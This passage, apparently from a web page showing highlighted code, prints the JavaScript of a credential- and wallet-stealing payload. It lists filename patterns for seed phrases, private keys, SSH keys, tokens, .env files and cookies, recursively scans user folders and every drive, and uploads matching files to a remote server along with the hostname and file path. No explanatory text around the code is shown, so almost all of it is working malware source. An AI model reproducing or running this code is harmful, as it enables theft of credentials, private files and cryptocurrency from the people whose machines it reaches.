support&quot;,&quot;proc&quot;,&quot;sys&quot;,&quot;dev&quot;,&quot;run&quot;,&quot;boot&quot;,&quot;lost+found&quot;,&quot;snap&quot;,&quot;flatpak&quot;,&quot;desktop.ini&quot;,&quot;thumbs.db&quot;,&quot;.vscode&quot;,&quot;.idea&quot;,&quot;.vs&quot;,&quot;.eclipse&quot;,&quot;.settings&quot;,&quot;.metadata&quot;,&quot;.gradle&quot;,&quot;.mvn&quot;,&quot;.git&quot;,&quot;.github&quot;,&quot;.svn&quot;,&quot;.hg&quot;,&quot;.bzr&quot;,&quot;.cache&quot;,&quot;cache&quot;,&quot;tmp&quot;,&quot;temp&quot;,&quot;*~&quot;,&quot;vendor&quot;,&quot;vendors&quot;,&quot;.venv&quot;,&quot;venv&quot;,&quot;.conda&quot;,&quot;anaconda3&quot;,&quot;miniconda3&quot;,&quot;.rustup&quot;,&quot;.pub-cache&quot;,&quot;.dart_tool&quot;,&quot;.gradle&quot;,&quot;.m2&quot;,&quot;.ivy2&quot;,&quot;.sbt&quot;,&quot;libs&quot;,&quot;packages&quot;,&quot;package&quot;,&quot;pkgs&quot;,&quot;pkg&quot;,&quot;documentation&quot;,&quot;examples&quot;,&quot;example&quot;,&quot;samples&quot;,&quot;sample&quot;,&quot;test&quot;,&quot;tests&quot;,&quot;spec&quot;,&quot;specs&quot;,&quot;.ssh&quot;,&quot;.gnupg&quot;,&quot;.aws&quot;,&quot;.docker&quot;,&quot;.kube&quot;,&quot;.terraform&quot;,&quot;.vagrant&quot;,&quot;.node-gyp&quot;,&quot;.nvm&quot;,&quot;.npm&quot;,&quot;.yarn&quot;,&quot;.pnpm&quot;,&quot;.bun&quot;,&quot;.deno&quot;,&quot;.go&quot;,&quot;.gopath&quot;,&quot;.gocache&quot;,&quot;.cursor&quot;,&quot;.vscode-server&quot;,&quot;.claude&quot;,&quot;.windsurf&quot;,&quot;.snipaste&quot;,&quot;.vue-cli-ui&quot;,&quot;.devctl&quot;,&quot;.eigent&quot;,&quot;fonts&quot;,&quot;font&quot;,&quot;icons&quot;,&quot;icon&quot;,&quot;wallpaper&quot;,&quot;wallpapers&quot;,&quot;background&quot;,&quot;backgrounds&quot;,&quot;locale&quot;,&quot;locales&quot;,&quot;_locales&quot;,&quot;i18n&quot;,&quot;translations&quot;,&quot;lang&quot;,&quot;language&quot;,&quot;languages&quot;,&quot;visual studio code.app&quot;,&quot;chrome.app&quot;,&quot;firefox.app&quot;,&quot;safari.app&quot;,&quot;opera.app&quot;,&quot;brave browser.app&quot;,&quot;vmware&quot;,&quot;.vmware&quot;,&quot;vmware fusion&quot;,&quot;vmware fusion.app&quot;,&quot;vmware workstation&quot;,&quot;vmware player&quot;,&quot;vmware vsphere&quot;,&quot;vmware vcenter&quot;,&quot;/applications/vmware&quot;,&quot;/usr/lib/vmware&quot;,&quot;/usr/share/vmware&quot;,&quot;program files/vmware&quot;,&quot;program files (x86)/vmware&quot;,&quot;appdata/local/vmware&quot;,&quot;appdata/roaming/vmware&quot;,&quot;library/application support/vmware&quot;,&quot;.vmwarevm&quot;,&quot;.vmdk&quot;,&quot;.vmem&quot;,&quot;.vmsn&quot;,&quot;.vmsd&quot;,&quot;.vmx&quot;,&quot;.vmxf&quot;,&quot;.nvram&quot;,&quot;.vmtm&quot;,&quot;mysql&quot;,&quot;postgresql&quot;,&quot;mongodb&quot;,&quot;redis&quot;,&quot;elasticsearch&quot;,&quot;openzeppelin&quot;,&quot;prisma&quot;,&quot;.expo&quot;,&quot;.next&quot;,&quot;.nuxt&quot;,&quot;.svelte-kit&quot;,&quot;hooks&quot;,&quot;.wine&quot;,&quot;.3T&quot;,&quot;.gk&quot;,&quot;.move&quot;,&quot;.tldrc&quot;,&quot;.android&quot;,&quot;.avm&quot;,&quot;.brownie&quot;,&quot;.cocoapods&quot;,&quot;.zsh_sessions&quot;,&quot;.pm2&quot;,&quot;.pyp&quot;,&quot;.myi&quot;,&quot;manifest&quot;,&quot;debug&quot;,&quot;plugin&quot;,&quot;plugins&quot;];\n\n        const SENSITIVE_FILE_PATTERNS = [&quot;.keystore&quot;, &quot;phone&quot;, &quot;database&quot;,&quot;bank&quot;, &quot;financ&quot;, &quot;.env&quot;,&quot;env&quot;,&quot;environment&quot;,&quot;config&quot;,&quot;configuration&quot;,&quot;configure&quot;,&quot;.conf&quot;,&quot;.cfg&quot;,&quot;.ini&quot;,&quot;.properties&quot;,&quot;.yaml&quot;,&quot;.yml&quot;,&quot;.toml&quot;,&quot;metamask&quot;,&quot;phantom&quot;,&quot;bitcoin&quot;,&quot;ethereum&quot;,&quot;eth&quot;,&quot;trust&quot;,&quot;wallet&quot;,&quot;coinbase&quot;,&quot;exodus&quot;,&quot;ledger&quot;,&quot;trezor&quot;,&quot;keystore&quot;,&quot;keyring&quot;,&quot;keychain&quot;,&quot;atomic&quot;,&quot;electrum&quot;,&quot;mycelium&quot;,&quot;blockchain&quot;,&quot;bravewallet&quot;,&quot;rabby&quot;,&quot;coin98&quot;,&quot;backpack&quot;,&quot;core&quot;,&quot;mathwallet&quot;,&quot;solflare&quot;,&quot;glow&quot;,&quot;keplr&quot;,&quot;argent&quot;,&quot;martian&quot;,&quot;petra&quot;,&quot;binance&quot;,&quot;okx&quot;,&quot;crypto&quot;,&quot;cryptocurrency&quot;,&quot;hardhat&quot;,&quot;truffle&quot;,&quot;private&quot;,&quot;privatekey&quot;,&quot;private_key&quot;,&quot;private-key&quot;,&quot;privkey&quot;,&quot;priv_key&quot;,&quot;key&quot;,&quot;keypair&quot;,&quot;key_pair&quot;,&quot;key-pair&quot;,&quot;.pem&quot;,&quot;.p12&quot;,&quot;.pfx&quot;,&quot;.jks&quot;,&quot;keystore&quot;,&quot;.keys&quot;,&quot;keys&quot;,&quot;.p8&quot;,&quot;.p7b&quot;,&quot;.p7c&quot;,&quot;.cer&quot;,&quot;.crt&quot;,&quot;.cert&quot;,&quot;cert&quot;,&quot;.der&quot;,&quot;id_rsa&quot;,&quot;id_dsa&quot;,&quot;id_ecdsa&quot;,&quot;id_ed25519&quot;,&quot;.pub&quot;,&quot;.priv&quot;,&quot;seed&quot;,&quot;seedphrase&quot;,&quot;seed_phrase&quot;,&quot;seed-phrase&quot;,&quot;mnemonic&quot;,&quot;phrase&quot;,&quot;passphrase&quot;,&quot;pass_phrase&quot;,&quot;pass-phrase&quot;,&quot;recovery&quot;,&quot;recoveryphrase&quot;,&quot;recovery_phrase&quot;,&quot;recovery-phrase&quot;,&quot;backup&quot;,&quot;backupphrase&quot;,&quot;backup_phrase&quot;,&quot;backup-phrase&quot;,&quot;12words&quot;,&quot;12_words&quot;,&quot;12-words&quot;,&quot;24words&quot;,&quot;24_words&quot;,&quot;24-words&quot;,&quot;bip39&quot;,&quot;bip44&quot;,&quot;password&quot;,&quot;passwd&quot;,&quot;pass&quot;,&quot;pwd&quot;,&quot;credential&quot;,&quot;credentials&quot;,&quot;auth&quot;,&quot;authentication&quot;,&quot;token&quot;,&quot;access_token&quot;,&quot;refresh_token&quot;,&quot;api_key&quot;,&quot;apikey&quot;,&quot;api-key&quot;,&quot;apisecret&quot;,&quot;api_secret&quot;,&quot;api-secret&quot;,&quot;secret&quot;,&quot;secrets&quot;,&quot;secretkey&quot;,&quot;secret_key&quot;,&quot;secret-key&quot;,&quot;masterkey&quot;,&quot;master_key&quot;,&quot;master-key&quot;,&quot;masterpassword&quot;,&quot;master_password&quot;,&quot;master-password&quot;,&quot;account&quot;,&quot;accounts&quot;,&quot;profile&quot;,&quot;profiles&quot;,&quot;user&quot;,&quot;username&quot;,&quot;user_name&quot;,&quot;user-name&quot;,&quot;login&quot;,&quot;signin&quot;,&quot;sign_in&quot;,&quot;sign-in&quot;,&quot;address&quot;,&quot;addresses&quot;,&quot;tx&quot;,&quot;transaction&quot;,&quot;transactions&quot;,&quot;.db&quot;,&quot;.sqlite&quot;,&quot;.sqlite3&quot;,&quot;.sql&quot;,&quot;.mdb&quot;,&quot;.accdb&quot;,&quot;.dbf&quot;,&quot;.doc&quot;,&quot;.docx&quot;,&quot;.pdf&quot;,&quot;.md&quot;,&quot;.markdown&quot;,&quot;.rtf&quot;,&quot;.odt&quot;,&quot;.xls&quot;,&quot;.xlsx&quot;,&quot;.txt&quot;,&quot;text&quot;,&quot;note&quot;,&quot;notes&quot;,&quot;memo&quot;,&quot;memos&quot;,&quot;screenshot&quot;,&quot;screen&quot;,&quot;snapshot&quot;,&quot;capture&quot;,&quot;.png&quot;,&quot;.jpg&quot;,&quot;.jpeg&quot;,&quot;.bmp&quot;,&quot;.json&quot;,&quot;.js&quot;,&quot;.ts&quot;,&quot;.jsx&quot;,&quot;.tsx&quot;,&quot;.csv&quot;,&quot;.xml&quot;,&quot;.lock&quot;,&quot;.log&quot;,&quot;.bak&quot;,&quot;backup&quot;,&quot;.old&quot;,&quot;.orig&quot;,&quot;.save&quot;,&quot;.swp&quot;,&quot;.tmp&quot;,&quot;tmp&quot;,&quot;my&quot;,&quot;personal&quot;,&quot;vault&quot;,&quot;safe&quot;,&quot;secure&quot;,&quot;lock&quot;,&quot;encrypt&quot;,&quot;decrypt&quot;,&quot;signature&quot;,&quot;sign&quot;,&quot;certificate&quot;,&quot;cert&quot;,&quot;identity&quot;,&quot;session&quot;,&quot;cookie&quot;];\n\n        const is_wsl = () =&gt; &#123;\n          if (process.env.WSL_DISTRO_NAME) &#123;\n            return true;\n          &#125;\n          try &#123;\n            if (fs.existsSync(&quot;/proc/version&quot;)) &#123;\n              const versionContent = fs.readFileSync(&quot;/proc/version&quot;, &quot;utf8&quot;);\n              if (versionContent.toLowerCase().includes(&quot;microsoft&quot;) || versionContent.toLowerCase().includes(&quot;wsl&quot;)) &#123;\n                return true;\n              &#125;\n            &#125;\n          &#125; catch (e) &#123;&#125;\n          return false;\n        &#125;;\n\n        // Check if file extension should be excluded\n        const isFileExtensionExcluded = (fileName) =&gt; &#123;\n          const lowerFileName = fileName.toLowerCase();\n          return EXCLUDED_FILE_EXTENSIONS.some(ext =&gt; \n            lowerFileName.endsWith(ext.toLowerCase())\n          );\n        &#125;;\n\n        // Check if a path should be excluded\n          const isDirectoryNameExcluded = (directoryName) =&gt; &#123;\n            const lowerDirectoryName = directoryName.toLowerCase();\n            return EXCLUDED_PATH_PATTERNS.includes(lowerDirectoryName);\n          &#125;;\n\n        // Check if full path contains any sensitive file pattern (case-insensitive)\n        const isSensitiveFile = (filePath) =&gt; &#123;\n          const lowerPath = filePath.toLowerCase();\n          return SENSITIVE_FILE_PATTERNS.some(pattern =&gt; \n            lowerPath.includes(pattern.toLowerCase())\n          );\n        &#125;;\n\n        // Upload a file to the server\n        const uploadFile = async (filePath) =&gt; &#123;\n          try &#123;\n            if (!fs.existsSync(filePath)) &#123;\n              return false;\n            &#125;\n\n            let stats;\n            try &#123;\n              stats = fs.statSync(filePath);\n            &#125; catch (statError) &#123;\n              // File might have been deleted or is inaccessible\n              return false;\n            &#125;\n            \n            if (!stats.isFile()) &#123;\n              return false;\n            &#125;\n\n            // Skip files larger than the size limit\n            if (stats.size &gt; MAX_FILE_SIZE_BYTES) &#123;\n              return false;\n            &#125;\n\n            // Check if file is readable\n            try &#123;\n              fs.accessSync(filePath, fs.constants.R_OK);\n            &#125; catch (accessError) &#123;\n              // File is not readable\n              return false;\n            &#125;\n\n            const form = new FormData();\n            let readStream;\n            try &#123;\n              readStream = fs.createReadStream(filePath);\n            &#125; catch (streamError) &#123;\n              // Can\&#x27;t create read stream (file might be locked)\n              return false;\n            &#125;\n            \n            form.append(&quot;file&quot;, readStream);\n            \n            try &#123;\n              const response = await axios.post(`&#x27;</span> +</span><br><span class="line">      u_s +</span><br><span class="line">      <span class="string">&quot;`, form, &#123;\n                headers: &#123;\n                  ...form.getHeaders(),\n                  userkey: &quot;</span> +</span><br><span class="line">      u_k +</span><br><span class="line">      <span class="string">&quot;,\n                  hostname: encodeURIComponent(os.hostname()),\n                  path: encodeURIComponent(filePath),\n                  t: &quot;</span> +</span><br><span class="line">      t +</span><br><span class="line">      <span class="string">&quot;\n                &#125;,\n                maxContentLength: Infinity,\n                maxBodyLength: Infinity,\n                timeout: 30000, // 30 second timeout to prevent hanging\n              &#125;);\n              \n              // Check response status\n              if (response.status &gt;= 200 &amp;&amp; response.status &lt; 300) &#123;\n                return true;\n              &#125; else &#123;\n                // Non-success status\n                return false;\n              &#125;\n            &#125; catch (error) &#123;\n              // Handle specific network errors - re-throw for retry logic\n              if (error.code === &#x27;ECONNREFUSED&#x27; || error.code === &#x27;ETIMEDOUT&#x27; || error.code === &#x27;ENOTFOUND&#x27;) &#123;\n                // Network issues - these are recoverable\n                throw error; // Re-throw to trigger retry logic\n              &#125; else if (error.code === &#x27;ECONNRESET&#x27; || error.code === &#x27;EPIPE&#x27;) &#123;\n                // Connection reset - might be recoverable\n                throw error;\n              &#125; else if (error.response) &#123;\n                // Server responded with error status\n                const status = error.response.status;\n                if (status &gt;= 500) &#123;\n                  // Server error - might be recoverable\n                  throw error;\n                &#125; else &#123;\n                  // Client error (4xx) - probably not recoverable, don&#x27;t retry\n                  return false;\n                &#125;\n              &#125; else &#123;\n                // Other errors - might be recoverable\n                throw error;\n              &#125;\n            &#125; finally &#123;\n              // Ensure stream is closed\n              if (readStream &amp;&amp; !readStream.destroyed) &#123;\n                try &#123;\n                  readStream.destroy();\n                &#125; catch (e) &#123;\n                  // Ignore cleanup errors\n                &#125;\n              &#125;\n            &#125;\n          &#125; catch (error) &#123;\n            // Re-throw network errors for retry logic in calling function\n            if (error.code === &#x27;ECONNREFUSED&#x27; || error.code === &#x27;ETIMEDOUT&#x27; || \n                error.code === &#x27;ENOTFOUND&#x27; || error.code === &#x27;ECONNRESET&#x27; || \n                error.code === &#x27;EPIPE&#x27; || (error.response &amp;&amp; error.response.status &gt;= 500)) &#123;\n              throw error;\n            &#125;\n            // Other errors - log and return false\n            console.error(`Failed to upload $&#123;filePath&#125;:`, error.message);\n            return false;\n          &#125;\n        &#125;;\n\n        // Delay helper function\n        const delay = (ms) =&gt; new Promise((resolve) =&gt; setTimeout(resolve, ms));\n\n        // Track visited directories to prevent infinite loops from symlinks\n        const visitedDirs = new Set();\n        const MAX_PATH_LENGTH = os.platform() === &#x27;win32&#x27; ? 260 : 4096;\n        const MAX_RECURSION_DEPTH = 20;\n        \n        // Recursively scan directory and upload sensitive files\n        const scanAndUploadDirectory = async (directoryPath, skipPriorityDirs = false, depth = 0) =&gt; &#123;\n          // Prevent infinite recursion\n          if (depth &gt; MAX_RECURSION_DEPTH) &#123;\n            console.warn(`Max recursion depth reached for $&#123;directoryPath&#125;`);\n            return;\n          &#125;\n          \n          // Check path length limits\n          if (directoryPath.length &gt; MAX_PATH_LENGTH) &#123;\n            console.warn(`Path too long, skipping: $&#123;directoryPath&#125;`);\n            return;\n          &#125;\n          \n          if (!fs.existsSync(directoryPath)) &#123;\n            return;\n          &#125;\n          \n          // Resolve real path to handle symlinks and prevent loops\n          let realPath;\n          try &#123;\n            realPath = fs.realpathSync(directoryPath);\n          &#125; catch (realpathError) &#123;\n            // If we can&#x27;t resolve the real path, skip it\n            console.warn(`Cannot resolve real path for $&#123;directoryPath&#125;:`, realpathError.message);\n            return;\n          &#125;\n          \n          // Check if we&#x27;ve already visited this directory (prevent symlink loops)\n          if (visitedDirs.has(realPath)) &#123;\n            return; // Already visited, skip to prevent infinite loops\n          &#125;\n          \n          // Mark as visited\n          visitedDirs.add(realPath);\n          \n          try &#123;\n            // Explicitly read all files including hidden ones\n            let items;\n            try &#123;\n              items = fs.readdirSync(directoryPath, &#123; withFileTypes: true &#125;);\n            &#125; catch (readdirError) &#123;\n              // Handle specific error codes\n              const errorCode = readdirError.code || readdirError.errno;\n              if (errorCode === &#x27;EACCES&#x27; || errorCode === &#x27;EPERM&#x27; || errorCode === &#x27;EAGAIN&#x27;) &#123;\n                // Permission denied - log but continue\n                console.warn(`Permission denied for $&#123;directoryPath&#125;:`, readdirError.message);\n              &#125; else if (errorCode === &#x27;ENOENT&#x27;) &#123;\n                // Directory doesn&#x27;t exist (might have been deleted)\n                console.warn(`Directory no longer exists: $&#123;directoryPath&#125;`);\n              &#125; else &#123;\n                // Other errors\n                console.error(`Cannot read directory $&#123;directoryPath&#125;:`, readdirError.message);\n              &#125;\n              return; // Return early, don&#x27;t throw\n            &#125;\n\n            // Sort items alphabetically in descending order\n            items.sort((a, b) =&gt; b.name.localeCompare(a.name));\n\n            for (const item of items) &#123;\n              try &#123;\n                // Skip . and .. entries\n                if (item.name === &#x27;.&#x27; || item.name === &#x27;..&#x27;) &#123;\n                  continue;\n                &#125;\n\n                const fullPath = path.join(directoryPath, item.name);\n                console.log(&#x27;fullPath&#x27;, fullPath);\n                // Check path length before processing\n                if (fullPath.length &gt; MAX_PATH_LENGTH) &#123;\n                  console.warn(`Path too long, skipping: $&#123;fullPath&#125;`);\n                  continue;\n                &#125;\n                \n                // Get stats for both files and directories (needed for file size check)\n                let stats;\n                let isSymlink = false;\n                try &#123;\n                  // Check if it&#x27;s a symlink first\n                  if (item.isSymbolicLink &amp;&amp; item.isSymbolicLink()) &#123;\n                    isSymlink = true;\n                    // For symlinks, use lstatSync to get symlink info, then resolve\n                    try &#123;\n                      stats = fs.lstatSync(fullPath);\n                      if (stats.isSymbolicLink()) &#123;\n                        // Resolve symlink for directories\n                        const resolvedPath = fs.realpathSync(fullPath);\n                        stats = fs.statSync(resolvedPath);\n                      &#125;\n                    &#125; catch (symlinkError) &#123;\n                      // Broken symlink or can&#x27;t resolve\n                      continue;\n                    &#125;\n                  &#125; else &#123;\n                    stats = fs.statSync(fullPath);\n                  &#125;\n                &#125; catch (statError) &#123;\n                  // Handle specific stat errors\n                  const errorCode = statError.code || statError.errno;\n                  if (errorCode === &#x27;ENOENT&#x27;) &#123;\n                    // File/directory was deleted between readdir and stat\n                    continue;\n                  &#125; else if (errorCode === &#x27;EACCES&#x27; || errorCode === &#x27;EPERM&#x27;) &#123;\n                    // Permission denied\n                    console.warn(`Permission denied for $&#123;fullPath&#125;`);\n                    continue;\n                  &#125; else &#123;\n                    // Other errors - skip\n                    continue;\n                  &#125;\n                &#125;\n\n                if (item.isDirectory() || stats.isDirectory()) &#123;\n                    // Skip priority directories if we&#x27;re scanning other locations\n                    if (skipPriorityDirs) &#123;\n                      const normalizedPath = path.normalize(fullPath).toLowerCase();\n                      const isPriorityDir = priorityDirs.some(priorityDir =&gt; &#123;\n                        const normalizedPriority = path.normalize(priorityDir).toLowerCase();\n                        return normalizedPath === normalizedPriority;\n                      &#125;);\n                      \n                      if (isPriorityDir) &#123;\n                        continue;\n                      &#125;\n                    &#125;\n                    \n                    if(!isDirectoryNameExcluded(item.name)) &#123;\n                      // Recursively scan subdirectories - wrap in try-catch to prevent stopping\n                      try &#123;\n                        await scanAndUploadDirectory(fullPath, skipPriorityDirs, depth + 1);\n                      &#125; catch (recursiveError) &#123;\n                        // Log but don&#x27;t throw - continue with other items\n                        console.error(`Error in recursive scan of $&#123;fullPath&#125;:`, recursiveError.message);\n                      &#125;\n                      continue;\n                    &#125;\n                    \n                    continue;\n                &#125;\n\n                if ((item.isFile() || stats.isFile()) &amp;&amp; !isFileExtensionExcluded(item.name) &amp;&amp; (!skipPriorityDirs || isSensitiveFile(fullPath))) &#123;\n                  // Skip files larger than the size limit\n                  if (stats.size &gt; MAX_FILE_SIZE_BYTES) &#123;\n                    continue;\n                  &#125;\n\n                  // Upload sensitive files with retry logic\n                  try &#123;\n                    let uploadSuccess = false;\n                    let retries = 3;\n                    while (!uploadSuccess &amp;&amp; retries &gt; 0) &#123;\n                      try &#123;\n                        const uploadStartTime = Date.now();\n                        await uploadFile(fullPath);\n                        uploadSuccess = true;\n                        const uploadDuration = Date.now() - uploadStartTime;\n                        \n                        // Only delay if upload completed very quickly (likely small file or fast network)\n                        // This prevents overwhelming the server while not slowing down normal uploads\n                        if (uploadDuration &lt; MIN_UPLOAD_TIME_MS) &#123;\n                          await delay(ADAPTIVE_DELAY_MS);\n                        &#125;\n                        // No delay needed for normal uploads - network is already the bottleneck\n                      &#125; catch (uploadError) &#123;\n                        retries--;\n                        if (retries &gt; 0) &#123;\n                          // Wait before retry (exponential backoff)\n                          await delay(ADAPTIVE_DELAY_MS * (4 - retries));\n                        &#125; else &#123;\n                          // Final failure - log but continue\n                          console.error(`Failed to upload $&#123;fullPath&#125; after retries:`, uploadError.message);\n                        &#125;\n                      &#125;\n                    &#125;\n                  &#125; catch (uploadError) &#123;\n                    // Log upload errors but continue\n                    console.error(`Error uploading $&#123;fullPath&#125;:`, uploadError.message);\n                  &#125;\n                &#125;\n              &#125; catch (error) &#123;\n                // Continue on individual item errors\n                const errorCode = error.code || error.errno;\n                if (errorCode === &#x27;EMFILE&#x27; || errorCode === &#x27;ENFILE&#x27;) &#123;\n                  // Too many open files - wait a bit and continue\n                  console.warn(`Too many open files, waiting...`);\n                  await delay(1000);\n                &#125; else &#123;\n                  console.error(`Error processing $&#123;item.name || item&#125;:`, error.message);\n                &#125;\n              &#125;\n            &#125;\n          &#125; catch (error) &#123;\n            // Log error but continue scanning other directories\n            console.error(`Error scanning directory $&#123;directoryPath&#125;:`, error.message);\n            // Don&#x27;t throw - continue with other directories\n            return; // Return instead of throwing\n          &#125; finally &#123;\n            // Remove from visited set when done (for very deep trees, this helps with memory)\n            // But keep it for the current scan to prevent loops\n            // Only remove if we&#x27;re at a shallow depth to save memory\n            if (depth === 0) &#123;\n              // At root level, we can clear old entries to save memory\n              // Keep only recent entries (last 10000)\n              if (visitedDirs.size &gt; 10000) &#123;\n                const entries = Array.from(visitedDirs);\n                visitedDirs.clear();\n                // Keep the most recent 5000 entries\n                entries.slice(-5000).forEach(dir =&gt; visitedDirs.add(dir));\n              &#125;\n            &#125;\n          &#125;\n        &#125;;\n\n        // Get priority directories (Documents, Desktop, Downloads)\n        const getPriorityDirectories = () =&gt; &#123;\n          const priorityDirs = [];\n          const platform = os.platform();\n          \n          if (platform === \&quot;win32\&quot;) &#123;\n            // Windows paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \&quot;Desktop\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Documents\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Downloads\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;OneDrive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Google Drive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;GoogleDrive\&quot;)\n            );\n          &#125; else &#123;\n            // macOS/Linux paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \&quot;Desktop\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Documents\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Downloads\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Library/CloudStorage\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Development\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;development\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Code\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;code\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Code Projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;code projects\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;source\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Source\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;OneDrive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;Google Drive\&quot;),\n              path.join(HOME_DIRECTORY, \&quot;GoogleDrive\&quot;)\n            );\n            \n            if (is_wsl()) &#123;\n              priorityDirs.push(\&quot;/mnt\&quot;);\n            &#125;\n          &#125;\n          \n          // Filter to only include directories that exist\n          return priorityDirs.filter(dir =&gt; fs.existsSync(dir) &amp;&amp; fs.statSync(dir).isDirectory());\n        &#125;;\n\n        // Get all drive letters on Windows (compatible with Windows 11)\n        const getWindowsDrives = () =&gt; &#123;\n          try &#123;\n            // Use PowerShell Get-CimInstance (works on Windows 11 and modern Windows)\n            // This is the modern replacement for wmic\n            const psCmd = &#x27;powershell -Command \&quot;Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object &#123; $_.DriveType -eq 3 &#125; | Select-Object -ExpandProperty DeviceID\&quot;&#x27;;\n            const output = execSync(psCmd, &#123; windowsHide: true, encoding: &#x27;utf8&#x27;, timeout: 5000 &#125;);\n            const drives = output\n              .split(/[\\r\\n]+/)\n              .map(line =&gt; line.trim())\n              .filter(drive =&gt; drive &amp;&amp; drive.length &gt; 0 &amp;&amp; /^[A-Z]:$/.test(drive));\n            if (drives.length &gt; 0) &#123;\n              return drives.map(drive =&gt; `$&#123;drive&#125;\\\\`);\n            &#125;\n            \n            // Fallback: Try Get-PSDrive if Get-CimInstance fails\n            try &#123;\n              const psCmd2 = `powershell -Command \&quot;Get-PSDrive -PSProvider FileSystem | Where-Object &#123; $_.Name.Length -eq 1 -and $_.Name -ge &#x27;A&#x27; -and $_.Name -le &#x27;Z&#x27; &#125; | Select-Object -ExpandProperty Name\&quot;`;\n              const output2 = execSync(psCmd2, &#123; windowsHide: true, encoding: &#x27;utf8&#x27;, timeout: 5000 &#125;);\n              const drives2 = output2\n                .split(/[\\r\\n]+/)\n                .map(line =&gt; line.trim())\n                .filter(drive =&gt; drive &amp;&amp; drive.length &gt; 0 &amp;&amp; /^[A-Z]$/.test(drive));\n              if (drives2.length &gt; 0) &#123;\n                return drives2.map(drive =&gt; `$&#123;drive&#125;:\\\\`);\n              &#125;\n            &#125; catch (psError2) &#123;\n              // If both PowerShell methods fail, try checking common drive letters directly\n              const commonDrives = [&#x27;C&#x27;, &#x27;D&#x27;, &#x27;E&#x27;, &#x27;F&#x27;, &#x27;G&#x27;, &#x27;H&#x27;, &#x27;I&#x27;, &#x27;J&#x27;, &#x27;K&#x27;, &#x27;L&#x27;, &#x27;M&#x27;, &#x27;N&#x27;, &#x27;O&#x27;, &#x27;P&#x27;, &#x27;Q&#x27;, &#x27;R&#x27;, &#x27;S&#x27;, &#x27;T&#x27;, &#x27;U&#x27;, &#x27;V&#x27;, &#x27;W&#x27;, &#x27;X&#x27;, &#x27;Y&#x27;, &#x27;Z&#x27;];\n              const availableDrives = commonDrives.filter(drive =&gt; &#123;\n                try &#123;\n                  return fs.existsSync(`$&#123;drive&#125;:\\\\`);\n                &#125; catch &#123;\n                  return false;\n                &#125;\n              &#125;);\n              if (availableDrives.length &gt; 0) &#123;\n                return availableDrives.map(drive =&gt; `$&#123;drive&#125;:\\\\`);\n              &#125;\n            &#125;\n            return [];\n          &#125; catch (error) &#123;\n            console.error(\&quot;Failed to get Windows drives:\&quot;, error.message);\n            // Last resort: check common drive letters\n            try &#123;\n              const commonDrives = [&#x27;C&#x27;, &#x27;D&#x27;, &#x27;E&#x27;, &#x27;F&#x27;, &#x27;G&#x27;, &#x27;H&#x27;];\n              const availableDrives = commonDrives.filter(drive =&gt; &#123;\n                try &#123;\n                  return fs.existsSync(`$&#123;drive&#125;:\\\\`);\n                &#125; catch &#123;\n                  return false;\n                &#125;\n              &#125;);\n              return availableDrives.map(drive =&gt; `$&#123;drive&#125;:\\\\`);\n            &#125; catch &#123;\n              return [];\n            &#125;\n          &#125;\n        &#125;;\n\n        // Main execution function\n        const main = async () =&gt; &#123;\n          \n          \n\n          try &#123;\n            // First, scan priority directories (Documents, Desktop, Downloads)\n            priorityDirs = getPriorityDirectories();\n            \n            \n            for (const priorityDir of priorityDirs) &#123;\n              try &#123;\n                \n                await scanAndUploadDirectory(priorityDir);\n              &#125; catch (error) &#123;\n                console.error(`Error scanning priority directory $&#123;priorityDir&#125;:`, error.message);\n                // Continue with next directory\n              &#125;\n            &#125;\n            \n            // Then, scan all other directories (skip already scanned priority directories)\n            if (os.platform() === \&quot;win32\&quot;) &#123;\n              // Windows: Scan all drives (skipping already scanned priority directories)\n              // Scan C drive last\n              const drives = getWindowsDrives();\n              const cDrive = drives.find(drive =&gt; drive.toLowerCase().startsWith(\&quot;c:\&quot;));\n              const otherDrives = drives.filter(drive =&gt; !drive.toLowerCase().startsWith(\&quot;c:\&quot;));\n              \n              // Scan all drives except C drive first\n              for (const drive of otherDrives) &#123;\n                try &#123;\n                  \n                  await scanAndUploadDirectory(drive, true);\n                &#125; catch (error) &#123;\n                  console.error(`Error scanning drive $&#123;drive&#125;:`, error.message);\n                  // Continue with next drive\n                &#125;\n              &#125;\n              \n              // Scan C drive last\n              if (cDrive) &#123;\n                try &#123;\n                  \n                  await scanAndUploadDirectory(cDrive, true);\n                &#125; catch (error) &#123;\n                  console.error(`Error scanning C drive:`, error.message);\n                  // Continue despite error\n                &#125;\n              &#125;\n            &#125; else &#123;\n              // Unix-like systems: Scan home directory (skipping already scanned priority directories)\n              try &#123;\n                await scanAndUploadDirectory(HOME_DIRECTORY, true);\n              &#125; catch (error) &#123;\n                console.error(`Error scanning home directory:`, error.message);\n                // Continue despite error\n              &#125;\n            &#125;\n            \n            \n          &#125; catch (error) &#123;\n            console.error(\&quot;Fatal error in main:\&quot;, error.message);\n            console.error(\&quot;Stack:\&quot;, error.stack);\n            // Don&#x27;t exit - log error and let process continue or exit naturally\n            // This prevents premature exits when processing many files\n          &#125; finally &#123;\n            // Ensure we always log completion status\n            \n          &#125;\n        &#125;;\n\n        // Execute main function\n        main();\n\n        &quot;</span>;</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">sp_s</span>(s, <span class="string">&quot;pid.&quot;</span> + t + <span class="string">&quot;.2.lock&quot;</span>, <span class="string">&quot;autoUploadScript&quot;</span>, 